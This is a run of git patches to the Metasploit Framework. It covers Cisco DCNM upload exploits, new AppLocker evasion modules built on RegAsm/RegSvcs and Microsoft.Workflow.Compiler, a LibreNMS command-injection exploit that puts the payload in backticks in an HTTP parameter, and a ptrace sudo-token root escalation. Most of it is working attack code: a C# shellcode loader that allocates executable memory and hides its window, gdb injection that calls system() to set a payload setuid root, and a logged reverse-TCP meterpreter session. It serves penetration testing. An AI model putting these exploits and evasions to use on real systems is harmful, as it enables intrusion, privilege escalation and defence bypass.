22:48:54 +0100 Subject: [PATCH 043/217] make requested changes --- modules/exploits/multi/http/cisco_dcnm_upload_2019.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb b/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb index 8225c9d1bf..efcbe929cb 100644 --- a/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb +++ b/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb @@ -114,15 +114,15 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'GET' }) if res && res.code == 200 - if res.body =~ /\"version\":\"11\.1\(1\)/ + if res.body.include?('version":"11.1(1)') print_good("#{peer} - Detected DCNM 11.1(1)") print_status("#{peer} - No authentication required, ready to exploit!") return targets[1] - elsif res.body =~ /\"version\":\"11\.0\(1\)/ + elsif res.body.include?('version":"11.0(1)') print_good("#{peer} - Detected DCNM 11.0(1)") print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit") return targets[2] - elsif res.body =~ /\"version\":\"10\.4\(2\)/ + elsif res.body.include?('version":"10.4(2)') print_good("#{peer} - Detected DCNM 10.4(2)") print_status("#{peer} - No authentication required, ready to exploit!") return targets[3] @@ -220,6 +220,8 @@ class MetasploitModule < Msf::Exploit::Remote if entry.name =~ /jboss[0-9]*\.log/ fdata = zis.read(entry) if fdata[/Started FileSystemDeploymentService for directory ([\w\/\\\-\.:]*)/] + tmp.close + tmp.unlink return $1.strip end end From eab38b8b21c5530856d1356a017af8e398595bef Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Fri, 2 Aug 2019 22:49:43 +0100 Subject: [PATCH 044/217] make requested changes --- modules/auxiliary/admin/cisco/cisco_dcnm_download.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb b/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb index 76d95a4e1c..1a8b3866f7 100644 --- a/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb +++ b/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb @@ -126,15 +126,15 @@ class MetasploitModule < Msf::Auxiliary noauth = false if res && res.code == 200 - if res.body =~ /\"version\":\"11\.1\(1\)/ + if res.body.include?('version":"11.1(1)') print_good("#{peer} - Detected DCNM 11.1(1)") print_status("#{peer} - No authentication required, ready to exploit!") noauth = true - elsif res.body =~ /\"version\":\"11\.0\(1\)/ + elsif res.body.include?('version":"11.0(1)') print_good("#{peer} - Detected DCNM 11.0(1)") print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit") jsession = auth_v11 - elsif res.body =~ /\"version\":\"10\.4\(2\)/ + elsif res.body.include?('version":"10.4(2)') print_good("#{peer} - Detected DCNM 10.4(2)") print_status("#{peer} - No authentication required, ready to exploit!") jsession = auth_v10 From 61a1abab798aedd3f35a0f1a5cc2a9ab55fa7978 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Sat, 3 Aug 2019 10:41:13 +0100 Subject: [PATCH 045/217] update csproj arch targeting --- modules/evasion/windows/applocker_evasion_presentationhost.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/evasion/windows/applocker_evasion_presentationhost.rb b/modules/evasion/windows/applocker_evasion_presentationhost.rb index cec707c46a..550468c4a2 100644 --- a/modules/evasion/windows/applocker_evasion_presentationhost.rb +++ b/modules/evasion/windows/applocker_evasion_presentationhost.rb @@ -105,13 +105,13 @@ class MetasploitModule < Msf::Evasion Release - AnyCPU + x86 WinExe true true false - + true . From 320642e3c0e1e0ac108da2bf2abb1789abb23d9d Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Thu, 8 Aug 2019 18:36:36 +0100 Subject: [PATCH 046/217] add module applocker_evasion_regasm_regsvcs --- .../applocker_evasion_regasm_regsvcs.rb | 150 ++++++++++++++++++ 1 file changed, 150 insertions(+) create mode 100644 modules/evasion/windows/applocker_evasion_regasm_regsvcs.rb diff --git a/modules/evasion/windows/applocker_evasion_regasm_regsvcs.rb b/modules/evasion/windows/applocker_evasion_regasm_regsvcs.rb new file mode 100644 index 0000000000..cc80db2181 --- /dev/null +++ b/modules/evasion/windows/applocker_evasion_regasm_regsvcs.rb @@ -0,0 +1,150 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Evasion + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Applocker Evasion - Microsoft .NET Assembly Registration Utility', + 'Description' => %( + This module will assist you in evading Microsoft + Windows Applocker and Software Restriction Policies. + This technique utilises the Microsoft signed binaries + RegAsm.exe or RegSvcs.exe to execute user supplied code. + ), + 'Author' => + [ + 'Nick Tyrer <@NickTyrer>', # module development + 'Casey Smith' # regasm_regsvcs bypass research + ], + 'License' => 'MSF_LICENSE', + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [['Microsoft Windows', {}]], + 'References' => [['URL', 'https://attack.mitre.org/techniques/T1121/']]) + ) + + register_options( + [ + OptString.new('TXT_FILE', [true, 'Filename for the evasive file (default: regasm_regsvcs.txt)', 'regasm_regsvcs.txt']), + OptString.new('SNK_FILE', [true, 'Filename for the .snk file (default: key.snk)', 'key.snk']) + ] + ) + + deregister_options('FILENAME') + end + + def build_payload + Rex::Text.encode_base64(payload.encoded) + end + + def obfu + Rex::Text.rand_text_alpha 8 + end + + def regasm_regsvcs + esc = build_payload + mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu] + <<~HEREDOC + using System; + using System.EnterpriseServices; + using System.Runtime.InteropServices; + namespace #{mod[0]} + { + public class #{mod[1]} : ServicedComponent + { + [ComRegisterFunction] + public static void RegisterClass(string #{mod[2]}) + { + #{mod[3]}.#{mod[14]}(); + } + [ComUnregisterFunction] + public static void UnRegisterClass(string #{mod[2]}) + { + #{mod[3]}.#{mod[14]}(); + } + } + public class #{mod[3]} + { + private static Int32 #{mod[4]}=0x1000; + private static IntPtr #{mod[5]}=(IntPtr)0x40; + private static UInt32 #{mod[6]} = 0xFFFFFFFF; + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p); + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id); + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms); + [System.Runtime.InteropServices.DllImport("user32.dll")] + static extern bool ShowWindow(IntPtr #{mod[7]}, int nCmdShow); + [System.Runtime.InteropServices.DllImport("Kernel32")] + private static extern IntPtr GetConsoleWindow(); + const int #{mod[8]} = 0; + public static void #{mod[14]}() + { + IntPtr #{mod[7]}; + #{mod[7]} = GetConsoleWindow(); + ShowWindow(#{mod[7]}, #{mod[8]}); + string #{mod[9]} = "#{esc}"; + byte[] #{mod[10]} = Convert.FromBase64String(#{mod[9]}); + byte[] #{mod[11]} = #{mod[10]}; + IntPtr #{mod[12]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{mod[11]}.Length, #{mod[4]}, #{mod[5]}); + System.Runtime.InteropServices.Marshal.Copy(#{mod[11]}, 0, #{mod[12]}, #{mod[11]}.Length); + IntPtr #{mod[13]} = IntPtr.Zero; + WaitForSingleObject(CreateThread(#{mod[13]}, UIntPtr.Zero, #{mod[12]}, #{mod[13]}, 0, ref #{mod[13]}), #{mod[6]}); + } + } + } + HEREDOC + end + + def snk + debaser = 'BwIAAAAkAABSU0EyAAQAAAEAAQD9yIxqf9oJgwLw6nUHqVNq4LaP+/eaL4qTT9K9aV/z7ddCP8+Uf2/47KnHklpaw+eH03ZaA2yKYBA9s+Al0VoyajA76HQp + HDaCgiURBIT2GBLUGwdhoEMWX5J8eoCzkucJEjSsavQh+r9JeB6zcQvoZIx0PrpELgQc8is8j2jvsFuc5LQ8ZFoPk1273TTxKibw84HFESjxJrRtkSjwoEo4OUuZtL3C7fD + gnaSoeLnMwohmyTTjt15zgBZv7xD5u/CHD4/+tySJufY5j0FkBxhyqt2DWHcmH4MQCC6PgYfIuTXEAD35o0cg+6s6pJYKB+DUCrU5vSime3jyWno9vCe87UT+fQcDrKntHB + mjnj9WliAMZlU1IuCWieT7fzGZqqIsd4rrcgxetnWzaWRAkgHcTVkmVPIt0z9zHU71s7CER2viklJkiaZjRQan5ZA7bTqqsuG1xoIyXTWbKsaAMCKf5a4IJS2ImpqaYA9HR + BrIV7be2o0QJxSm1LPqBXJqkAhnCpcYyfve2dql7fF+fAIDGe3ZgCEbJsfYuAaAY0snGJQhUgLmwO8GDbsbMUTuBQspDv8QXsF53UNH5v5dnOKaTfo71LrI+I5zBUqEYP3B + DtK0qryu/J1eq80nPAmpNqRbFnYm1OdGKpgzHS+Ws7obPSt1HG3//BxC3a5znX0evfCfSaaWRswhjvblnh1070b3jkT6nJeksKuuVEHvudAQAtGn2vxNDs4CqrJODi5Z/BA + KgpIZqQeZmh3r4Zb5OI0=' + Rex::Text.decode_base64(debaser) + end + + def file_format_filename(name = '') + name.empty? ? @fname : @fname = name + end + + def create_files + f1 = datastore['TXT_FILE'].empty? ? 'regasm_regsvcs.txt' : datastore['TXT_FILE'] + f1 << '.txt' unless f1.downcase.end_with?('.txt') + f2 = datastore['SNK_FILE'].empty? ? 'key.snk' : datastore['SNK_FILE'] + f2 << '.snk' unless f2.downcase.end_with?('.snk') + txt_file = regasm_regsvcs + snk_file = snk + file_format_filename(f1) + file_create(txt_file) + file_format_filename(f2) + file_create(snk_file) + end + + def instructions + print_status "Copy #{datastore['TXT_FILE']} and #{datastore['SNK_FILE']} to the target" + if payload.arch.first == ARCH_X86 + print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\csc.exe /r:System.EnterpriseServices.dll /target:library /out:#{datastore['TXT_FILE'].gsub('.txt', '.dll')} /keyfile:#{datastore['SNK_FILE']} #{datastore['TXT_FILE']}" + print_status "Execute using: C:\\Windows\\Microsoft.NET\\Framework\\[.NET Version]\\regsvcs.exe #{datastore['TXT_FILE'].gsub('.txt', '.dll')}" + print_status 'or' + print_status "Execute using: C:\\Windows\\Microsoft.NET\\Framework\\[.NET Version]\\regasm.exe /U #{datastore['TXT_FILE'].gsub('.txt', '.dll')}" + else + print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework64\\[.NET Version]\\csc.exe /r:System.EnterpriseServices.dll /target:library /out:#{datastore['TXT_FILE'].gsub('.txt', '.dll')} /keyfile:#{datastore['SNK_FILE']} #{datastore['TXT_FILE']}" + print_status "Execute using: C:\\Windows\\Microsoft.NET\\Framework64\\[.NET Version]\\regsvcs.exe #{datastore['TXT_FILE'].gsub('.txt', '.dll')}" + print_status 'or' + print_status "Execute using: C:\\Windows\\Microsoft.NET\\Framework64\\[.NET Version]\\regasm.exe /U #{datastore['TXT_FILE'].gsub('.txt', '.dll')}" + end + end + + def run + create_files + instructions + end +end From 373e409184c9bf4780cbd2f0bc1a6bdb0cc669ba Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Thu, 8 Aug 2019 18:48:10 +0100 Subject: [PATCH 047/217] add module applocker_evasion_workflow_compiler --- .../applocker_evasion_workflow_compiler.rb | 159 ++++++++++++++++++ 1 file changed, 159 insertions(+) create mode 100644 modules/evasion/windows/applocker_evasion_workflow_compiler.rb diff --git a/modules/evasion/windows/applocker_evasion_workflow_compiler.rb b/modules/evasion/windows/applocker_evasion_workflow_compiler.rb new file mode 100644 index 0000000000..a7c8f619a6 --- /dev/null +++ b/modules/evasion/windows/applocker_evasion_workflow_compiler.rb @@ -0,0 +1,159 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Evasion + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Applocker Evasion - Microsoft Workflow Compiler', + 'Description' => %( + This module will assist you in evading Microsoft + Windows Applocker and Software Restriction Policies. + This technique utilises the Microsoft signed binaries + Microsoft.Workflow.Compiler.exe to execute user supplied code. + ), + 'Author' => + [ + 'Nick Tyrer <@NickTyrer>', # module development + 'Matt Graeber' # workflow_compiler bypass research + ], + 'License' => 'MSF_LICENSE', + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [['Microsoft Windows', {}]], + 'References' => [['URL', 'https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb']]) + ) + + register_options( + [ + OptString.new('XOML_FILE', [true, 'Filename for the .xoml file (default: workflow.xoml)', 'workflow.xoml']), + OptString.new('XML_FILE', [true, 'Filename for the .xml file (default: workflow.xml)', 'workflow.xml']) + ] + ) + + deregister_options('FILENAME') + end + + def build_payload + Rex::Text.encode_base64(payload.encoded) + end + + def obfu + Rex::Text.rand_text_alpha 8 + end + + def workflow_xoml + esc = build_payload + mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu] + <<~HEREDOC + + + + HEREDOC + end + + def workflow_xml + <<~HEREDOC + + + + #{datastore['XOML_FILE']} + + + + + + + + false + true + false + + + + + false + -1 + + false + false + + false + CSharp + + + + + + + HEREDOC + end + + def file_format_filename(name = '') + name.empty? ? @fname : @fname = name + end + + def create_files + f1 = datastore['XOML_FILE'].empty? ? 'workflow.xoml' : datastore['XOML_FILE'] + f1 << '.xoml' unless f1.downcase.end_with?('.xoml') + f2 = datastore['XML_FILE'].empty? ? 'workflow.xml' : datastore['XML_FILE'] + f2 << '.xml' unless f2.downcase.end_with?('.xml') + xoml_file = workflow_xoml + xml_file = workflow_xml + file_format_filename(f1) + file_create(xoml_file) + file_format_filename(f2) + file_create(xml_file) + end + + def instructions + print_status "Copy #{datastore['XOML_FILE']} and #{datastore['XML_FILE']} to the target" + if payload.arch.first == ARCH_X86 + print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\Microsoft.Workflow.Compiler.exe #{datastore['XML_FILE']} #{Rex::Text.rand_text_alpha 3}" + else + print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework64\\[.NET Version]\\Microsoft.Workflow.Compiler.exe #{datastore['XML_FILE']} #{Rex::Text.rand_text_alpha 3}" + end + end + + def run + create_files + instructions + end +end From baea8d1f5f8853deb9d0d7b349372950fb75c535 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Thu, 8 Aug 2019 21:14:02 +0100 Subject: [PATCH 048/217] add documentation --- .../applocker_evasion_regasm_regsvcs.md | 34 +++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 documentation/modules/evasion/windows/applocker_evasion_regasm_regsvcs.md diff --git a/documentation/modules/evasion/windows/applocker_evasion_regasm_regsvcs.md b/documentation/modules/evasion/windows/applocker_evasion_regasm_regsvcs.md new file mode 100644 index 0000000000..00cf03a8eb --- /dev/null +++ b/documentation/modules/evasion/windows/applocker_evasion_regasm_regsvcs.md @@ -0,0 +1,34 @@ +## Intro + +This module is designed to evade solutions such as software restriction policies and Applocker. +Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories. +Applocker enforces this by employing whitelisting, in that code can only be run from the protected directories and sub directories of "Program Files" and "Windows" +The main vector for this bypass is to use the trusted binaries RegAsm.exe or RegSvcs.exe to execute user supplied code as this binary is located within the trusted Windows directory. + +## Vulnerable Application + +This evasion will work on all versions of Windows that include .NET versions 3.5 or greater that has solutions such as Applocker or Software Restriction Policies active, that do not explicitly block RegAsm.exe, RegSvcs.exe or the "Microsoft.Net" directory. + +## Options + +- **TXT_FILE** - Filename for the evasive file (default: regasm_regsvcs.txt). +- **SNK_FILE** - Filename for the .snk file (default: key.snk). (note: to aid furter evasion it is recommended to create your own .snk file ref: https://docs.microsoft.com/en-us/dotnet/framework/app-domains/how-to-sign-an-assembly-with-a-strong-name) + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use evasion/windows/applocker_evasion_regasm_regsvcs` + 3. Do: `set PAYLOAD ` + 4. Do: `run` + 5. The module will now display instructions of how to proceed + 6. `[+] regasm_regsvcs.txt stored at /root/.msf4/local/regasm_regsvcs.txt` + 7. `[+] key.snk stored at /root/.msf4/local/key.snk` + 8. `[*] Copy regasm_regsvcs.txt and key.snk to the target` + 9. `[*] Compile using: C:\Windows\Microsoft.Net\Framework64\[.NET Version]\csc.exe /r:System.EnterpriseServices.dll /target:library /out:regasm_regsvcs.dll /keyfile:key.snk regasm_regsvcs.txt` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319"). + 10. `[*] Execute using: C:\Windows\Microsoft.NET\Framework64\[.NET Version]\regsvcs.exe regasm_regsvcs.dll` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319"). + 11. `[*] or` + 12. `[*] Execute using: C:\Windows\Microsoft.NET\Framework64\[.NET Version]\regasm.exe /U regasm_regsvcs.dll` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319"). + +## References + +https://attack.mitre.org/techniques/T1121/ From 4747049440aee176c97cc4cda486bcc46a27e5a4 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Fri, 9 Aug 2019 08:47:26 +0100 Subject: [PATCH 049/217] add documentation --- .../applocker_evasion_workflow_compiler.md | 31 +++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 documentation/modules/evasion/windows/applocker_evasion_workflow_compiler.md diff --git a/documentation/modules/evasion/windows/applocker_evasion_workflow_compiler.md b/documentation/modules/evasion/windows/applocker_evasion_workflow_compiler.md new file mode 100644 index 0000000000..39d93180be --- /dev/null +++ b/documentation/modules/evasion/windows/applocker_evasion_workflow_compiler.md @@ -0,0 +1,31 @@ +## Intro + +This module is designed to evade solutions such as software restriction policies and Applocker. +Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories. +Applocker enforces this by employing whitelisting, in that code can only be run from the protected directories and sub directories of "Program Files" and "Windows" +The main vector for this bypass is to use the trusted binary Microsoft.Workflow.Compiler.exe to execute user supplied code as this binary is located within the trusted Windows directory. + +## Vulnerable Application + +This evasion will work on all versions of Windows that include .NET versions 3.5 or greater that has solutions such as Applocker or Software Restriction Policies active, that do not explicitly block Microsoft.Workflow.Compiler.exe or the "Microsoft.Net" directory. + +## Options + +- **XOML_FILE** - Filename for the evasive file (default: workflow.xoml). +- **XML_FILE** - Filename for the .snk file (default: workflow.xml). + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use evasion/windows/applocker_evasion_workflow_compiler` + 3. Do: `set PAYLOAD ` + 4. Do: `run` + 5. The module will now display instructions of how to proceed + 6. `[+] workflow.xoml stored at /root/.msf4/local/workflow.xoml` + 7. `[+] workflow.xml stored at /root/.msf4/local/workflow.xml` + 8. `[*] Copy workflow.xoml and workflow.xml to the target` + 9. `[*] Execute using: C:\Windows\Microsoft.Net\Framework64\[.NET Version]\Microsoft.Workflow.Compiler.exe workflow.xml GQi` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319"). + +## References + +https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb From 76da9ea4fc502ade3e6b9012d5be0d94dc443adc Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Fri, 9 Aug 2019 08:40:41 -0500 Subject: [PATCH 050/217] get shell with test data --- .../linux/http/librenms_connectd_cmd_inject.rb | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/modules/exploits/linux/http/librenms_connectd_cmd_inject.rb b/modules/exploits/linux/http/librenms_connectd_cmd_inject.rb index f077cf7270..74f5e18238 100644 --- a/modules/exploits/linux/http/librenms_connectd_cmd_inject.rb +++ b/modules/exploits/linux/http/librenms_connectd_cmd_inject.rb @@ -24,11 +24,13 @@ class MetasploitModule < Msf::Exploit::Remote [ 'CVE', '2019-10669' ], [ 'URL', 'https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/' ] ], + 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Linux', { - 'Platform' => 'linux' + 'Platform' => 'unix', + 'Arch' => ARCH_CMD } ] ], @@ -125,14 +127,17 @@ class MetasploitModule < Msf::Exploit::Remote dev_id = json.match('href=\"device\/device=(\d+)\/') fail_with(Failure::NotFound, 'Failed to retrieve device id') unless dev_id && dev_id.length > 1 - dev_id + dev_id[1] end def exploit - req_uri = normalize_uri(target_uri.path, 'graphs', '/') + req_uri = normalize_uri(target_uri.path, 'graph.php') @cookies = login dev_id = get_device_id + vprint_status("Device id #{dev_id} retrieved") + + print_status('Sending malicious request') res = send_request_cgi( 'method' => 'GET', 'uri' => req_uri, @@ -141,11 +146,11 @@ class MetasploitModule < Msf::Exploit::Remote { 'device' => dev_id, 'type' => 'device_collectd', - 'to' => 'blah', - 'from' => '', + 'to' => '1563375000', + 'from' => "1`#{payload.encoded}`", 'c_plugin' => 'test', 'c_type' => 'cpu', - 'c_type_instance' => 'collectd' + 'c_type_instance' => 'collectd', } ) From 9fdee466ca9860ffa1a8d30857e1f870025209e0 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sat, 10 Aug 2019 07:03:23 +0000 Subject: [PATCH 051/217] Update ptrace_sudo_token_priv_esc --- .../linux/local/ptrace_sudo_token_priv_esc.rb | 96 +++++++++++++------ 1 file changed, 69 insertions(+), 27 deletions(-) diff --git a/modules/exploits/linux/local/ptrace_sudo_token_priv_esc.rb b/modules/exploits/linux/local/ptrace_sudo_token_priv_esc.rb index 43924ed10c..1f6f1116a2 100644 --- a/modules/exploits/linux/local/ptrace_sudo_token_priv_esc.rb +++ b/modules/exploits/linux/local/ptrace_sudo_token_priv_esc.rb @@ -17,13 +17,17 @@ class MetasploitModule < Msf::Exploit::Local super(update_info(info, 'Name' => 'ptrace Sudo Token Privilege Escalation', 'Description' => %q{ - This module attempts to gain root privileges by blindly injecting - into shell processes and executing commands using any valid sudo - tokens. + This module attempts to gain root privileges by blindly injecting into + the session user's running shell processes and executing commands by + calling `system()`, in the hope that the process has valid cached sudo + tokens with root privileges. The system must have gdb installed and permit ptrace. - This module has been tested successfully on Debian 9.8 (x64). + This module has been tested successfully on: + + Debian 9.8 (x64); and + CentOS 7.4.1708 (x64). }, 'License' => MSF_LICENSE, 'Author' => @@ -34,6 +38,7 @@ class MetasploitModule < Msf::Exploit::Local 'DisclosureDate' => '2019-03-24', 'References' => [ + ['EDB', '46989'], ['URL', 'https://github.com/nongiach/sudo_inject'], ['URL', 'https://www.kernel.org/doc/Documentation/security/Yama.txt'], ['URL', 'http://man7.org/linux/man-pages/man2/ptrace.2.html'], @@ -64,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Local }, 'DefaultTarget' => 0)) register_options [ - OptInt.new('TIMEOUT', [true, 'Timeout (seconds)', '60']) + OptInt.new('TIMEOUT', [true, 'Process injection timeout (seconds)', '30']) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), @@ -88,12 +93,20 @@ class MetasploitModule < Msf::Exploit::Local end def check - if yama_enabled? + if yama_enabled? vprint_error 'YAMA ptrace scope is restrictive' return CheckCode::Safe end vprint_good 'YAMA ptrace scope is not restrictive' + if command_exists? '/usr/sbin/getsebool' + if cmd_exec("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on && echo true").to_s.include? 'true' + vprint_error 'SELinux deny_ptrace is enabled' + return CheckCode::Safe + end + vprint_good 'SELinux deny_ptrace is disabled' + end + unless command_exists? 'sudo' vprint_error 'sudo is not installed' return CheckCode::Safe @@ -127,38 +140,67 @@ class MetasploitModule < Msf::Exploit::Local fail_with Failure::BadConfig, "#{base_dir} is not writable" end + if nosuid? base_dir + fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid" + end + + # Find running shell processes + shells = %w[ash ksh csh dash bash zsh tcsh fish sh] + + system_shells = read_file('/etc/shells').to_s.each_line.map {|line| + line.strip + }.reject {|line| + line.starts_with?('#') + }.each {|line| + shells << line.split('/').last + } + shells = shells.uniq.reject {|shell| shell.blank?} + + print_status 'Searching for shell processes ...' + pids = [] + if command_exists? 'pgrep' + cmd_exec("pgrep '^(#{shells.join('|')})$' -u \"$(id -u)\"").to_s.each_line do |pid| + pids << pid.strip + end + else + shells.each do |s| + pidof(s).each {|p| pids << p.strip} + end + end + + if pids.empty? + fail_with Failure::Unknown, 'Found no running shell processes' + end + + print_status "Found #{pids.uniq.length} running shell processes" + vprint_status pids.join(', ') + + # Upload payload @payload_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}" upload @payload_path, generate_payload_exe - print_status "Creating root shell #{@payload_path} ..." + # Blindly call system() in each shell process + pids.each do |pid| + print_status "Injecting into process #{pid} ..." - #shell_processes = cmd_exec('pgrep \'^(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$\' -u "$(id -u)" | grep -v "^$$\$"').to_s.split("\n") - #print_status "Found #{shell_processes.length} shell processes" + cmds = "echo | sudo -S /bin/chown 0:0 #{@payload_path} >/dev/null 2>&1 && echo | sudo -S /bin/chmod 4755 #{@payload_path} >/dev/null 2>&1" + sudo_inject = "echo 'call system(\"#{cmds}\")' | gdb -q -n -p #{pid} >/dev/null 2>&1" + res = cmd_exec sudo_inject, nil, timeout + vprint_line res unless res.blank? - sudo_inject = <<-EOF - for pid in $(pgrep '^(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$' -u "$(id -u)" | grep -v "^$$\$") - do - echo "Injecting process $pid -> "$(cat "/proc/$pid/comm") - echo 'call system("echo | sudo -S /bin/chown 0:0 #{@payload_path} >/dev/null 2>&1 && echo | sudo -S /bin/chmod +x #{@payload_path} >/dev/null 2>&1 && echo | sudo -S /bin/chmod u+s #{@payload_path} >/dev/null 2>&1")' \ - | gdb -q -n -p "$pid" >/dev/null 2>&1 - done - EOF + next unless setuid? @payload_path - res = cmd_exec sudo_inject, nil, timeout - vprint_line res - - unless setuid? @payload_path - fail_with Failure::Unknown, 'Failed to create setuid root shell' + print_good "#{@payload_path} setuid root successfully" + print_status 'Executing payload...' + res = cmd_exec "#{@payload_path} & echo " + vprint_line res + return end - print_good "#{@payload_path} setuid root successfully" - print_status 'Executing payload...' - res = cmd_exec "#{@payload_path} &" - vprint_line res + fail_with Failure::NoAccess, 'Failed to create setuid root shell. Session user has no valid cached sudo tokens.' end def on_new_session(session) - print_status "Removing #{payload_path} ..." if session.type.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.fs.file.rm @payload_path From 47cfcba53a25ffefae352fcde0b8215655ad4fe9 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sat, 10 Aug 2019 07:08:01 +0000 Subject: [PATCH 052/217] Add documentation --- .../linux/local/ptrace_sudo_token_priv_esc.md | 136 ++++++++++++++++++ 1 file changed, 136 insertions(+) create mode 100644 documentation/modules/exploit/linux/local/ptrace_sudo_token_priv_esc.md diff --git a/documentation/modules/exploit/linux/local/ptrace_sudo_token_priv_esc.md b/documentation/modules/exploit/linux/local/ptrace_sudo_token_priv_esc.md new file mode 100644 index 0000000000..3c926dbadd --- /dev/null +++ b/documentation/modules/exploit/linux/local/ptrace_sudo_token_priv_esc.md @@ -0,0 +1,136 @@ +## Description + + This module attempts to gain root privileges by blindly injecting into + the session user's running shell processes and executing commands by + calling `system()`, in the hope that the process has valid cached sudo + tokens with root privileges. + + The system must have gdb installed and permit ptrace. + + +## Vulnerable Application + + This module has been tested successfully on: + + * Debian 9.8 (x64) + * CentOS 7.4.1708 (x64) + + +## Verification Steps + + 1. Start `msfconsole` + 2. Get a session + 3. `use exploit/linux/local/ptrace_sudo_token_priv_esc` + 4. `set SESSION ` + 5. `check` + 6. `run` + 7. You should get a new *root* session + + +## Options + + **SESSION** + + Which session to use, which can be viewed with `sessions` + + **TIMEOUT** + + Process injection timeout (seconds) (default: `30`) + + **WritableDir** + + A writable directory file system path. (default: `/tmp`) + + +## Scenarios + +### CentOS 7.4.1708 (x64) + + ``` + msf5 > use exploit/linux/local/ptrace_sudo_token_priv_esc + msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set session 1 + session => 1 + msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp + payload => linux/x64/meterpreter/reverse_tcp + msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set lhost 172.16.191.165 + lhost => 172.16.191.165 + msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set verbose true + verbose => true + msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > run + + [*] Started reverse TCP handler on 172.16.191.165:4444 + [+] YAMA ptrace scope is not restrictive + [+] SELinux deny_ptrace is disabled + [+] sudo is installed + [+] gdb is installed + [*] Searching for shell processes ... + [*] Found 3 running shell processes + [*] 2343, 2483, 2958 + [*] Writing '/tmp/.ka44kFCm8XyMEZ' (329 bytes) ... + [*] Injecting into process 2343 ... + [*] Injecting into process 2483 ... + [*] Injecting into process 2958 ... + [+] /tmp/.ka44kFCm8XyMEZ setuid root successfully + [*] Executing payload... + [*] Transmitting intermediate stager...(126 bytes) + [*] Sending stage (3021284 bytes) to 172.16.191.141 + + [*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.141:53462) at 2019-08-10 02:49:48 -0400 + [-] Failed to delete /tmp/.ka44kFCm8XyMEZ: stdapi_fs_delete_file: Operation failed: 1 + + meterpreter > getuid + Server username: 